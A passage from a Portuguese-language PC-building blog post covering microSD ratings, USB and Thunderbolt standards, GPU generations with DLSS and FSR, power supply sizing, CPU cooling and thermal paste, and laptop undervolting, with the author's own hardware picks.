<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913190951_88555428f12eca2dab1110cac7de0a7079-micro-sd.rsquare.w400.webp" alt="comparison microsd"  loading="lazy" /></p>
<p>Agora você consegue ler. O Samsung EVO Select de 512GB, SDXC, U3, A2, V30 e o da direita SanDisk Ultra 128GB SDXC, U1, A1, C10. Agora você sabe o que procurar e o que isso significa.</p>
<p>Mais importante é Speed Rating, muitos são classe C como C10 acima. Mas se o uso for pra gravar video em boa qualidade, sem engasgar, procure classe V como V90!</p>
<h3>USB vs Thunderbolt<span class="hx:absolute hx:-mt-20" id="usb-vs-thunderbolt"></span>
    <a href="#usb-vs-thunderbolt" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Pra piorar a confusão de marketagem ainda tem USB e Thunderbolt. Vamos entender: primeiro de tudo ter conector USB-C não significa nada. USB-C é padrão do conector físico do cabo, só isso. Os dados que trafegam nela usam protocolos, e existem vários.</p>
<p>No caso de plug USB-A, que é o retângulo que tem lado certo pra encaixar e é o mais comum na parte de trás de um PC, alguns vem com cores diferentes:</p>
<ul>
<li>Preto → USB 2.0 (480 Mb/s).</li>
<li>Azul → USB 3.0 / 3.1 Gen 1 / 3.2 Gen 1 (5 Gb/s).</li>
<li>Verde-azulado / Turquesa → USB 3.1 Gen 2 / 3.2 Gen 2 (10 Gb/s).</li>
<li>Vermelho → porta de alta energia (quase sempre USB 3.2 Gen 2, algumas vezes “always-on charging”).</li>
<li>Amarelo / Laranja → Também porta “charging”, depende do fabricante.</li>
<li>Branco → Legado / BIOS flashback (quase sempre USB 2.0).</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914024147_11166Image10_zoom.jpg" alt="usb ports"  loading="lazy" /></p>
<p><strong>Confusão de Nomenclatura</strong></p>
<ul>
<li>USB 3.0 (2010) → depois renomeado pra USB 3.1 Gen 1 → daí pra USB 3.2 Gen 1 (5 Gb/s).</li>
<li>USB 3.1 (2013) → agora USB 3.2 Gen 2 (10 Gb/s).</li>
<li>USB 3.2 (2017) → USB 3.2 Gen 2×2 (20 Gb/s).</li>
<li>USB4 (2019) → 20–40 Gb/s, mesmo conector físico de USB-C, Thunderbolt-like.</li>
<li>USB4 v2 (2022) → até 80–120 Gb/s, ainda sendo espalhado durante 2025.</li>
</ul>
<p><strong>Portar mais populares em placas-mãe (2025)</strong></p>
<ul>
<li>USB 2.0 (preto/branco) → ainda presente pra mouse e teclado, BIOS flashback.</li>
<li>USB 3.2 Gen 1 (azul) → 5 Gb/s, muito comum.</li>
<li>USB 3.2 Gen 2 (verde-azulado/vermelho) → 10 Gb/s, comum em placas de médio ou alto custo.</li>
<li>USB 3.2 Gen 2×2 (Type-C, algumas vezes vermelho/verde-azulado) → 20 Gb/s, placas mais caras.</li>
<li>USB4 / Thunderbolt 4 (Type-C) → 40 Gb/s, placas premium, workstations.</li>
</ul>
<p>Fora isso, não é tão comum em PCs mas é bem comum em Macs, são as portas <strong>Thunderbolt</strong>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914024235_7e05-mobo2.jpg" alt="thunderbolt"  loading="lazy" /></p>
<ul>
<li>
<p><strong>Thunderbolt 1</strong> (2011)</p>
<ul>
<li>Baseado em PCIe 2.0 ×4 + DisplayPort 1.1a.</li>
<li>Conector: Mini DisplayPort.</li>
<li>Banda: 10 Gb/s (bi-directional).</li>
<li>Maior parte é Apple + algumas placas Intel.</li>
</ul>
</li>
<li>
<p><strong>Thunderbolt 2</strong> (2013)</p>
<ul>
<li>Conector: Mini DisplayPort.</li>
<li>Canais agregados → 20 Gb/s.</li>
<li>Ainda PCIe 2.0, DisplayPort 1.2.</li>
<li>Usado na era do MacBook Pro / Mac Pro.</li>
</ul>
</li>
<li>
<p><strong>Thunderbolt 3</strong> (2015)</p>
<ul>
<li>Conector: USB-C (primeiro Thunderbolt a usar).</li>
<li>Banda: 40 Gb/s (PCIe 3.0 ×4 + DP 1.2).</li>
<li>Suporte completo a USB 3.1/3.2.</li>
<li>Largamente adotado em laptops, docks, eGPUs.</li>
<li>Requer certificação; nem toda porta USB-C = Thunderbolt 3.</li>
</ul>
</li>
<li>
<p><strong>Thunderbolt 4</strong> (2020)</p>
<ul>
<li>Conector: USB-C.</li>
<li>Ainda máximo de 40 Gb/s (como TB3), mas menos requerimentos mínimos:
<ul>
<li>Mínima banda de PCIe 3.0 ×4 garantida.</li>
<li>Suporte pra monitors duplos 4K ou um 8K.</li>
<li>Carregamento mandatório + suporte a &ldquo;wake from sleep&rdquo;.</li>
</ul>
</li>
<li>Mais consistente entre diversos dispositivos.</li>
<li>Suporte nativo no Intel Tiger Lake+, AMD Ryzen 7000+ (alguns).</li>
</ul>
</li>
<li>
<p><strong>Thunderbolt 5</strong> (anúncio em 2023, entregue em 2024/25)</p>
<ul>
<li>Conector: USB-C.</li>
<li>Banda: 80 Gb/s bi-direcional, 120 Gb/s modo assimétrico (pra monitores).</li>
<li>Usa tunelamento de PCIe 4.0.</li>
<li>DisplayPort 2.1, suporta dual 8K ou triplo 4K.</li>
<li>Ideal pra external GPUs, docks de alta-banda, monitores de workstation.</li>
</ul>
</li>
<li>
<p>Como Thunderbolt se relaciona com USB / USB4</p>
<ul>
<li>Thunderbolt 3 → formou a base pro USB4.</li>
<li>USB4 = padrão aberto, 20–40 Gb/s, compartilha muito do protocolo Thunderbolt.</li>
<li>USB4 v2 (especificação de 2022, saindo em 2025) = até 80–120 Gb/s, efetivamente equivalente a Thunderbolt 5.</li>
<li>Muitas novas portas são “compatíveis com USB4 / Thunderbolt,” mas nem todos garantem todas as funcionalidades de TB a menos que seja certificado.</li>
</ul>
</li>
</ul>
<p>Conector Thunderbolt, a partir do 3 se não me engano é igual USB-C mas tem o símbolo de &ldquo;raio&rdquo; nele pra diferenciar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914024546_screen_shot_2022-11-30_at_2.02.19_pm.webp" alt="thunderbolt connector"  loading="lazy" /></p>
<p>Como podemos ver, não basta ter uma porta azul ou porta USB-C. Tem que ler a especificação no manual da placa-mãe que escolher. No geral, a maioria das placas-mãe modernas tem pelo menos USB 3.2 Gen 2 ou até USB 4. Pra Thunderbolt o buraco é mais embaixo, a maioria não tem.</p>
<p>Thunderbolt é importante se quiser eGPU ou storage externo pra coisas como edição de video (DAS), como CalDigit TS5 Plus, Sonnet Echo 13 ou então ligar múltiplos monitores 4K.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914024434_Best-Thunderbolt-USB-C-Docks-Docking-Stations-MacBook-Mac.webp" alt="thunderbolt storage"  loading="lazy" /></p>
<h3>GPUs<span class="hx:absolute hx:-mt-20" id="gpus"></span>
    <a href="#gpus" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Primeiro: GPU é o que chamamos o chip principal dentro de uma &ldquo;placa-gráfica&rdquo; que é o produto completo que tem a GPU, VRAM, cooler, placa-mãe e outros componentes.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913232051_gpu.jpeg" alt="GPU"  loading="lazy" /></p>
<p>Todo mundo chama tudo só de &ldquo;GPU&rdquo; então meio que tanto faz, mas via de regra você está procurando uma &ldquo;placa-gráfica&rdquo;. Vamos resumir a história recente, caso esteja interessado em usados primeiro.</p>
<p><strong>AMD (Radeon)</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913233552_RX7900XTX-O24G-B_0.jpg" alt="rx 7900 xtx"  loading="lazy" /></p>
<ul>
<li>Série:
<ul>
<li>RX 5000 (Navi, 2019) – lançamento de PCIe 4.0, midrange (RX 5700 XT).</li>
<li>RX 6000 (RDNA2, 2020) – ray tracing, Infinity Cache, competitivo com RTX 3000.</li>
<li>RX 7000 (RDNA3, 2022) – design de &ldquo;chiplet&rdquo;, alta performance por /watt, RX 7900 XTX vs RTX 4080.</li>
</ul>
</li>
<li>Nomenclatura: RX [Series][Model]. quanto maior o número = mais novo, mais rápido. XT = variante mais rápida.</li>
<li>Vantagens: bom custo-benefício, mais VRAM que NVIDIA na mesma classe, drivers abertos no Linux.</li>
<li>Desvantagens: ray tracing mais lento que NVIDIA, mais fraco pra AI/compute.</li>
</ul>
<p><strong>Intel (Arc)</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913233641_placa-de-video-intel-arc-a770-phantom-gaming-asrock-16gb-gddr6-rgb-polychrome-sync-90-ga4kzz-00uanf_1696943713_gg.webp" alt="Arc a770"  loading="lazy" /></p>
<ul>
<li>Série:
<ul>
<li>Arc A300/A500/A700 (Alchemist, 2022) – primeira geração.</li>
<li>A380 = entrada, A770 = midrange pra um pouco mais alto.</li>
</ul>
</li>
<li>Futuro: Battlemage (2025), depois Celestial.</li>
<li>Vantagens: competitivo em preço, boa engine de mídia (encode/decode AV1), drivers melhorando.</li>
<li>Desvantagens: drivers imaturos(especialmente em Linux), opções high-end limitadas, sem CUDA/AI.</li>
</ul>
<p><strong>NVIDIA (GeForce / RTX)</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913233742_251313_1-17459188343668033.jpeg" alt="RTX 4090"  loading="lazy" /></p>
<ul>
<li>Série (recente):
<ul>
<li>GTX 10 (Pascal, 2016) – enorme salto de eficiência (GTX 1080).</li>
<li>RTX 20 (Turing, 2018) – introduziu ray tracing (RTX 2080 Ti).</li>
<li>RTX 30 (Ampere, 2020) – grande salto, popular (RTX 3080, 3090).</li>
<li>RTX 40 (Ada Lovelace, 2022) – melhor em ray tracing, DLSS 3 frame generation, RTX 4090 é o topo de linha.</li>
</ul>
</li>
<li>Naming: GTX/RTX + series + model (higher = better). Ti/SUPER = faster variant.</li>
<li>Strengths: best ray tracing, DLSS, CUDA/AI support, most mature ecosystem.</li>
<li>Weaknesses: high cost, VRAM sometimes lower than AMD at same tier.</li>
</ul>
<p>Eu sou enviesado pra opinar sobre gráficos porque sou time verde faz anos. Eu tive a GTX 1080, RTX 3090, RTX 4060 e RTX 4090. Esses últimos dois ainda uso hoje. A 4060 pra games é mais que suficiente até 1440p na maioria e até 4K e em muitos menos pesados.</p>
<p>Editei a maioria dos videos do meu canal com GTX 1080 (enquanto eu filmava em 1080p) e depois migrei pra RTX 3090 quando passei a gravar em 4K com minha câmera <strong>Sony A7S III</strong>. Ela seria mais que suficiente ainda hoje, mas resolvi migrar pra RTX 4090.</p>
<p>A RTX 4090 uso pra render 3D (Blender) ou IA (LLMs com Ollama, LM Studio, Aider, etc). Não me vejo precisando de uma 5090 ainda (não tem mais VRAM que a minha, que é a única coisa que seria relevante pra LLMs).</p>
<p>Pro dia a dia, gerenciador de janelas, navegar na web e tudo mais, eu dou output pela iGPU (GPU integrada) que já vem na Ryzen 9. A RTX fica como GPU secundária pra render offload.</p>
<p>Vamos ver as GPUs mais modernas:</p>
<p><strong>NVIDIA — GeForce RTX 50 (Blackwell, 2025)</strong></p>
<ul>
<li>Key: PCIe 5.0, GDDR7, DLSS 4 / Multi-Frame Generation, DisplayPort 2.1b (UHBR20).</li>
<li>RTX 5090: 32 GB GDDR7, 512-bit bus, arquitetura Blackwell.</li>
<li>RTX 5080: Blackwell + GDDR7 + DLSS 4.</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913234020_gv-n5090aorus-m-ice-32gd9.jpg" alt="RTX 5090"  loading="lazy" /></p>
<p><strong>AMD — Radeon RX 9000 (RDNA 4, 2025)</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913234057_81OO5-B1DVL.jpg" alt="RX 9070 XT"  loading="lazy" /></p>
<ul>
<li>Foco: mid/high-range, RT melhorado + novos aceleradores de IA.</li>
</ul>
<p><strong>Intel — Arc B-series (Battlemage, 2024/2025)</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250913234137_placa-de-video-asrock-intel-arc-b570-challenger-oc-10gb-gddr6-xess-ray-tracing-b570-cl-10go_222549.jpg" alt="B570"  loading="lazy" /></p>
<ul>
<li>B580/B570); foco no valor, AV1 ainda forte, drivers melhorando.</li>
</ul>
<p><strong>Pontos Importantes</strong></p>
<ul>
<li>VRAM eu não recomendo menos que 12GB. Se for fazer coisas mais profissionais como editar videos e criação de conteúdo, pelo menos 16GB. Dá pra rodar LLMs menores com menos VRAM, mas pra rodar as maiores, no mínimo 24GB (como minha 4090) ou 32GB (5090).</li>
<li>Se estiver procurando a performance pra games de 4K com 240hz, garanta que tem <strong>Display Port 2.1</strong>. (RTX série 50 ou RX 9000).</li>
<li>Ecossistema: depende da tecnologia precisa. CUDA só tem em NVIDIA. DLSS 4 (super resolution, frame generation) só tem em NVIDIA. O equivalente em AMD é FSR/HYPR-RX. Intel não tem nada disso.</li>
<li>Performance também depende da banda, então PCIe 4 vs PCIe 5 como já expliquei antes. RTX série 50 tira vantagem de PCIe 5.</li>
</ul>
<p>Não adianta comprar uma RTX série 50 e colocar com uma placa-mãe e CPU que só suporta PCIe 4.0. Vai funcionar, mas não vai tirar proveito de uma placa gráfica tão cara. É desperdício, melhor ficar numa RTX 2080 ou RTX 3080, por exemplo.</p>
<p>Custo-benefício e suporte em Linux é melhor em AMD. Se tiver dinheiro, RX série 9000, ou pelo menos série 7000. Procure pela versão XT/XTX que são as de mais performance. Mas não vai ter suporte a CUDA. O equivalente de API na AMD é o <strong>ROCm</strong> mas nem todo software suporta ele ainda.</p>
<p>Em games, interessa muito <strong>DLSS</strong> (Deep Learning Super Sampling) que são modelos de IA especializados em tratar frames de games.</p>
<ul>
<li>
<p>RTX 20-series (Turing, 2018)</p>
<ul>
<li>Suporta DLSS 1.0 (primeira geração, neural net por jogo - que vem nas atualizações de drivers, qualidade de imagem mais ou menos).</li>
<li>Depois ganhou DLSS 2 via atualização de driver.</li>
</ul>
</li>
<li>
<p>RTX 30-series (Ampere, 2020)</p>
<ul>
<li>Suporta DLSS 2 completo (reconstrução de imagem mais nítida, estabilidade temporal).</li>
<li>Suporta DLSS 3 Frame Generation (frames interpolados por IA), mas somente na série 40 tem Optical Flow Accelerator v2, então série 30 não consegue frame generation.</li>
</ul>
</li>
<li>
<p>RTX 40-series (Ada Lovelace, 2022)</p>
<ul>
<li>Suporta DLSS 2.</li>
<li>Suporta DLSS 3 Frame Generation (insere frames de IA → maior FPShigher FPS, pequeno custo em latência).</li>
<li>Adiciona DLSS 3.5 Ray Reconstruction (IA substitui denoiser → melhor qualidade de ray tracing).</li>
</ul>
</li>
<li>
<p>RTX 50-series (Blackwell, 2025)</p>
<ul>
<li>Suporta DLSS 4 (Multi-Frame Generation).</li>
<li>Melhor interpolação de frame com redução de artefatos de latência comparado a DLSS 3.</li>
<li>Constrói em cima de DLSS 3.5 (Ray Reconstruction ainda incluso).</li>
</ul>
</li>
<li>
<p>DLSS 1 → Prova de conceito, qualidade inconsistente, obsoleto.</p>
</li>
<li>
<p>DLSS 2 → Per-pixel temporal upscaling, imagem nítida, artefatos mínimos, muito usado ainda hoje.</p>
</li>
<li>
<p>DLSS 3 → Frame Generation → interpola frames inteiros, boost de FPS em cenários limitados pela GPU; requer série 40 pra cima.</p>
</li>
<li>
<p>DLSS 3.5 → Ray Reconstruction → melhora luzes/reflexões de ray tracing, mais detalhes, menos &ldquo;noise&rdquo; (barulho). Funciona em todas as RTX.</p>
</li>
<li>
<p>DLSS 4 → Multi-Frame Generation (RTX 50+) → movimentos mais suaves, redução de latência de artefatos.</p>
</li>
</ul>
<p>AMD tem o equivalente a DLSS na forma de FSR, <strong>FidelityFX Super Resolution</strong>. Em Resumo:</p>
<ul>
<li>
<p>FSR 1.0 (2021)</p>
<ul>
<li>Spatial upscaler (per-frame, sem motion vectors).</li>
<li>Suporte a várias GPUs (funciona em NVIDIA, Intel, consoles).</li>
<li>Vantagem: simples, universal.</li>
<li>Desvantagem: imagem soft, shimmering.</li>
</ul>
</li>
<li>
<p>FSR 2.0 (2022)</p>
<ul>
<li>Temporal upscaler (usa motion vectors + histórico).</li>
<li>Mais perto de DLSS 2 em qualidade.</li>
<li>Suportado em AMD + NVIDIA + Intel GPUs.</li>
<li>Mais pesado, mas leve comparado com DLSS.</li>
</ul>
</li>
<li>
<p>FSR 3.0 (2023)</p>
<ul>
<li>Adiciona Frame Generation (interpolação sem IA).</li>
<li>Roda em AMD e NVIDIA.</li>
<li>Vantagem: mais FPS mesmo em GPUs mais velhas.</li>
<li>Desvantagem: mais latência de input do que Optical Flow + Reflex combo de DLSS 3.</li>
</ul>
</li>
<li>
<p>FSR 3.1 (2024)</p>
<ul>
<li>Separa Frame Gen de Upscaling → pode usar FG com outros upscalers (DLSS/XeSS).</li>
<li>Lida melhor com artefatos (ghosting, shimmering).</li>
</ul>
</li>
</ul>
<p>Intel tem XeSS mas é bem mais pobre que FSR (que parece que é open source, por isso também suporta outras GPUs) e DLSS (que é proprietário e só funciona em NVIDIA RTX).</p>
<p>NVIDIA série GTX pra trás não suporta nada disso e são considerados obsoletos já. Se quiser algo mais antigo pra economizar não iria mais pra trás do que RTX série 20, como uma 2060 ou 2080.</p>
<p>GPU de Notebook é outra coisa que a marketagem fode. Por exemplo, você vai encontrar notebooks que dizem ter &ldquo;RTX 4060&rdquo;, porém tem menos CUDA cores, tem menos clock (limitação térmica, não tem como resfriar dentro de um notebook), TGP que é o total de energia consumida que vai ser faixa de 35W a no máximo 140W, mas sempre fica mais baixo. Em desktop uma 4060 iria de 115 a 160W. Vai ter menos VRAM (8GB ou menos). Performance geral vai ser de 30% a 50% mais lento que modelo desktop de mesmo nome.</p>
<p>Então uma <strong>RTX 4060 mobile</strong> vai ser mais equivalente a uma <strong>RTX 3050 Ti</strong> ou <strong>RTX 3060</strong>.</p>
<p>Vamos comparar alguns modelos da NVIDIA (as duas que eu tenho e a mais nova de todas):</p>
<p><strong>RTX 4060 (Ada Lovelace, 2023)</strong></p>
<ul>
<li>Architecture: AD107</li>
<li>CUDA cores: 3,072</li>
<li>Base / Boost: 1.83 / 2.46 GHz</li>
<li>VRAM: 8 GB GDDR6, 128-bit bus</li>
<li>Bandwidth: 272 GB/s (with 24 MB L2 cache)</li>
<li>TGP: 115 W</li>
</ul>
<p><strong>RTX 4090 (Ada Lovelace, 2022)</strong></p>
<ul>
<li>Architecture: AD102</li>
<li>CUDA cores: 16,384</li>
<li>Base / Boost: 2.23 / 2.52 GHz</li>
<li>VRAM: 24 GB GDDR6X, 384-bit bus</li>
<li>Bandwidth: 1,008 GB/s</li>
<li>TGP: 450 W</li>
</ul>
<p><strong>RTX 5090 (Blackwell, 2025)</strong></p>
<ul>
<li>Architecture: GB202 (Blackwell)</li>
<li>CUDA cores: ~24,576</li>
<li>Base / Boost: ~2.5+ GHz</li>
<li>VRAM: 32 GB GDDR7, 512-bit bus</li>
<li>Bandwidth: ~1.5–1.6 TB/s</li>
<li>TGP: ~450–500 W (varies)</li>
</ul>
<p>Notem como TGP varia drasticamente de um modelo 60 pra 90, de 115W pra absurdos 450 a 500W! E realmente consome isso se começa a puxar modelos LLM ou jogos AAA pesados. Também note a diferença gritante de CUDA cores. De novo: a 4060 roda meus jogos da Steam (muitos AAA) super de boa, seja tem 1440p max settings ou 4K medium settings, 60 fps a 100fps. Graças a DLSS, dá pra ter boa resolução e bom FPS.</p>
<p>Modelos 90 é se realmente for renderizar coisa pesada, editar video pesado ou rodar muita IA.</p>
<h3>Power Supply (PSU)<span class="hx:absolute hx:-mt-20" id="power-supply-psu"></span>
    <a href="#power-supply-psu" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Toda hora estou falando sobre TGP, TDP, solução térmica e tem que falar de PSUs, as &ldquo;fontes&rdquo;. Qualidade aqui faz diferença, como sempre, nunca compre sem marca, marca genérica ou coisa barata do AliExpress. Um PSU porcaria pode diminuir vida útil dos seus componentes ou destruir mesmo seu PC.</p>
<p>Marcas boas são: Seasonic, Corsair, Cooler Master, Be Quiet, EVGA. Queremos certificações como 80 PLUS Gold, Platinum, Titanium (e cuidado, marcas xing-ling vem com essas etiquetas).</p>
<p>Sobre a capacidade, o que realmente vai fazer diferença na conta é o consumo e CPU e GPU, veja as especificações dos modelos que escolher, mas em linhas gerais:</p>
<ul>
<li>
<p>setup velho, com uma i5 ou Ryzen 5, GPU média como uma RTX 4060 vai ser faixa de consumo de 200W a 300W (varia entre &ldquo;idle&rdquo;, que é parado e pico, onde dá turbo boost ou está usando todos os cores, recompilando kernel, rodando LLMs, etc). Considerando outros componentes no PC é melhor pelo menos uma PSU de <strong>550 a 650W</strong>.</p>
</li>
<li>
<p>setup médio, com uma RTX 4070 ou RX 7800 vai consumir faixa de 300W a 450W então escolha uma PSU de <strong>750 a 850W</strong>.</p>
</li>
<li>
<p>setup de ponta, com uma RTX 4080 pra cima, puxando muito processamento de IA. Vai consumir faixa de 500 a 800W. Então é bom já considerar uma PSU <strong>1000W</strong> ou <strong>1600W</strong> se colocar 2 GPUs em paralelo.</p>
</li>
</ul>
<p>A que eu uso no meu PC é uma <strong>Corsair RM1000x Shift</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914002607_fonte-atx-1000w-corsair-rm1000x-shift.jpg" alt="Corsair RX1000x"  loading="lazy" /></p>
<p>Lembram que falei sobre tamanhos de placa-mãe e gabinetes? ATX, mini-ITX? A PSU RM1000x que falei agora não cabe nelas. Pra isso precisa de uma fonte low profile ou <strong>SFF</strong> (Small Form Factor).</p>
<p>Digamos que queira colocar uma RTX 4070 num gabinete mini-ITX. Vai precisar de uma SFX ou SFX-L, pelo menos de 650 ou 750W. Exemplos são:</p>
<ul>
<li>Corsair SF750 / SF600 Platinum (SFX)</li>
<li>SilverStone SX700 / SX750 (SFX)</li>
<li>Seasonic Focus SGX-650 / SGX-750 (SFX)</li>
<li>Lian Li SP series (SFX / SFX-L)</li>
</ul>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914002949_FOCUS-SGX-750-PSU-box-scaled.webp" alt="Seasonic Focus"  loading="lazy" /></p>
<p><strong>CUIDADO</strong></p>
<p>Os cabos que vem <strong>junto</strong> com a PSU são específicas pra PSUs da <strong>mesma marca</strong>.</p>
<blockquote>
  <p><strong>Não misture cabos diferentes com marcas diferentes!!!!</strong></p>

</blockquote>
<p>Embora os encaixes pareçam o mesmo, elas podem danificar seus componentes!! Não existe um padrão de cabos pra PSU!!! Não misture seus cabos Corsair com PSUs Seasonic ou, pior, não compre cabos genéricos xing-ling no AliExpress e misture com sua PSU!! <strong>Você foi avisado!!</strong></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914003312_which_psu_cables_go_where.width-1500.format-webp.webp" alt="cabos"  loading="lazy" /></p>
<h3>Coolers<span class="hx:absolute hx:-mt-20" id="coolers"></span>
    <a href="#coolers" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se estiver gastando bastante pra pegar os topos de linha de CPU, GPU, placa-mãe, PSU, não pode economizar em coolers.</p>
<p>Sabia que a <strong>maior parte</strong> da energia que seu PC consome é dissipado em forma de calor? Virtualmente tudo. O PC que falei que consome de 750 a 850W? Vai tudo pro ar em forma de calor. Somente uma <strong>pequena fração</strong> é convertida em outras formas como luz (LEDs), som (speakers), energia cinética (ventoinhas).</p>
<p>O princípio é baseado na <strong>lei de conservação de energia</strong>, que diz que energia não pode ser criada ou destruída, só transformada. O processo de computação por si não consome energia de uma forma que previne sua conversão em calor. O processo de processamento de informação envolve movimento de eléctrons através de circuitos, que geram calor por causa da resistência elétrica.</p>
<p>Portanto, quanto mais potente forem os componentes, mais energia consome e mais calor precisa ser dissipado rápido!</p>
<p>De cara, se dinheiro não for problema, escolha o melhor. O melhor é sempre <strong>Noctua</strong>. Eu nunca tive problema, são ultra silenciosos, confiáveis e nunca deixam na mão. E prefira <strong>air cooler</strong>, que tem a menor quantidade de peças móveis e que podem dar defeito ou precisar de manutenção. Liga uma vez e deixa pra sempre.</p>
<p>Se for uma CPU mais pesada como a minha Ryzen 9 7850X3D ou a mais nova 9850X3D tem que ser a <strong>NH-D15 G2</strong>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914003832_232317-800-auto.webp" alt="NH-D15 G2"  loading="lazy" /></p>
<p>Eu tenho a G1 e funciona sem problemas já faz uns 3 anos.</p>
<p>Poderia usar <strong>Water Cooler (AIO)</strong>? Poderia, mas tem que ser um AIO com radiador de 280mm a <strong>360mm</strong> (lembram quando falei sobre medir a dimensão dos componentes com o gabinete que vai comprar??). Um AIO funciona assim: em vez de ter uma ventoinha diretamente no dissipador de metal que fica grudado na CPU, passa um tubo onde circula líquido que vem de um tanque com uma bomba.</p>
<p>A água fria passa pelo dissipador, vai capturando calor, e levando pra um radiador. O radiador precisa de ventoinhas, pra dissipar o calor dele pro ar. Ou seja: vai ter ventoinhas de qualquer forma. Por isso eu não vejo vantagem. Veja um exemplo:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914004612_71rD5Q7LtLL.webp" alt="Corsair Nautilus"  loading="lazy" /></p>
<p>Tem várias opções como a <strong>Corsair Nautilus 360 RS Liquid CPU Cooler</strong> ou uma <strong>NZXT Kraken 240 RGB AIO</strong>.</p>
<p>Por que se vê tanto AIO por aí? Porque os marketeiros descobriram do que as pessoas gostam: <strong>luzes RGB</strong>. Essa é a única razão. Em vez de uma única ventoinha eficiente Noctua, bege, sem graça, porque não <strong>três</strong> ventoinhas coloridas no radiador?? 🤣</p>
<p>Honestamente, tirando essa única razão, não existe motivos pra não ir direto pra Noctua NH-D15. Eu acho AIOs uma enorme perda de tempo.</p>
<p>Isso tudo dito, comprou a melhor CPU, a melhor Noctua, agora falta uma coisa entre as duas: <strong>Pasta Térmica</strong>. Normalmente, quando se compra o dissipador+ventoinha, como essa Noctua, já vem pasta térmica junto. No exemplo, deve vir a Noctua NT-H2, que é boa e suficiente.</p>
<p>Eu, pessoalmente, sempre confiei na <strong>Thermal Grizzly</strong>. Sempre usei a Kryonaut. Mas se dinheiro não for problema, porque não já ter uma <strong>Thermal Grizzly Duronaut</strong>?</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914005118_3393159-n1.webp" alt="thermal grizzly"  loading="lazy" /></p>
<p>Outras boas opções são a <strong>Arctic MX-6</strong>, <strong>Corsair XTM60 Performance</strong>, <strong>Thermalright TF7 12.8 W/mK</strong>, <strong>Cooler Master Cryofuze 5</strong> ou <strong>ID-Cooling Frost X45</strong>. Qualquer uma delas vai ser boa.</p>
<p>Passe na CPU, espalhe com uma espátula de plástico pela área toda e é isso. Esquece as mandingas de colocar pasta em &ldquo;X&rdquo; ou qualquer outro formato. Só espalha igualmente e pronto, talvez um pouquinho mais no meio.</p>
<p>E sim, existe a opção de <strong>Metal Líquido</strong>, como vem nos Playstation 5. Mas você não vai querer usar.</p>
<p>Metal Líquido é <strong>CONDUTOR ELÉTRICO</strong>, diferente de pasta térmica. Pra usar precisa SABER como usar. E você não vai saber. Vai vazar pelos lados e vai dar curto e você vai fritar sua CPU. Nem cogite. É pra usos específicos de quem sabe o que está fazendo.</p>
<p>Na dúvida, compre Thermal Grizzly, Duronaut ou Kryonaut. Acabou.</p>
<h3>Undervolting<span class="hx:absolute hx:-mt-20" id="undervolting"></span>
    <a href="#undervolting" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um pequeno adendo sobre notebooks, especialmente os mais velhos de mais de 5 anos pra trás. Eles não tem como colocar coolers grandes como um NH-D15 ou um AIO. E a geração Intel de mais de 5 anos atrás dissipava MUITO calor. Não era incomum a CPU chegar a 100 graus!!</p>
<p>Uma CPU normal opera em clock base, digamos 2 ou 3Ghz, e quando precisa de mais performance numa tarefa pesada, ele pode dar Turbo Boost pra 4Ghz ou mais. Só que isso aumenta consumo de energia (bateria vai embora mais rápido) e o pior: <strong>esquenta</strong>.</p>
<p>Se esquentar demais vai acontecer o temido <strong>THERMAL THROTTLE</strong>, ou seja, a CPU - pra se proteger, e não morrer - vai derrubar o block <strong>abaixo</strong> do base clock, digamos pra menos de 1 Ghz.</p>
<p>Não adianta nada dar Boost de 4Ghz por alguns minutos e depois passar um tempão capado em 1 Ghz até a temperatura baixar.</p>
<p>Por isso muita gente recomenda fazer <strong>undervolting</strong> com uma ferramenta como <a href="https://www.maketecheasier.com/reduce-cpu-temperature-undervolting/"target="_blank" rel="noopener">Throttlestop</a> no Windows ou <a href="https://github.com/sicreative/VoltageShift"target="_blank" rel="noopener">VoltageShift</a> no Mac ou intel-undervolt e amdctl no Linux (leia o <a href="https://wiki.archlinux.org/title/Undervolting_CPU"target="_blank" rel="noopener">ArchWiki de Undelvolt</a>)</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914015934_2021-06-07-113438.webp" alt="Throttlestop"  loading="lazy" /></p>
<p>A idéia é diminuir a voltagem que vai pra CPU/GPU, evitar que ele bata no teto de temperatura e evitar thermal throttle. É melhor que rode um pouco menos rápido no geral, do que rebaixar lento demais num throttle.</p>
<p>É um processo de tentativa e erro, depende do firmware, modelo da CPU, etc. Mas se você sente esse problema no seu notebook antigo, essa é uma solução.</p>
<p>Eu precisei usar muito isso na época dos Macbook Intel ou Dell XPS da era de 2016. Cuidado com notebooks com reputação de não ter boa solução térmica (que esquenta demais).</p>
<h3>Mini-PCs<span class="hx:absolute hx:-mt-20" id="mini-pcs"></span>
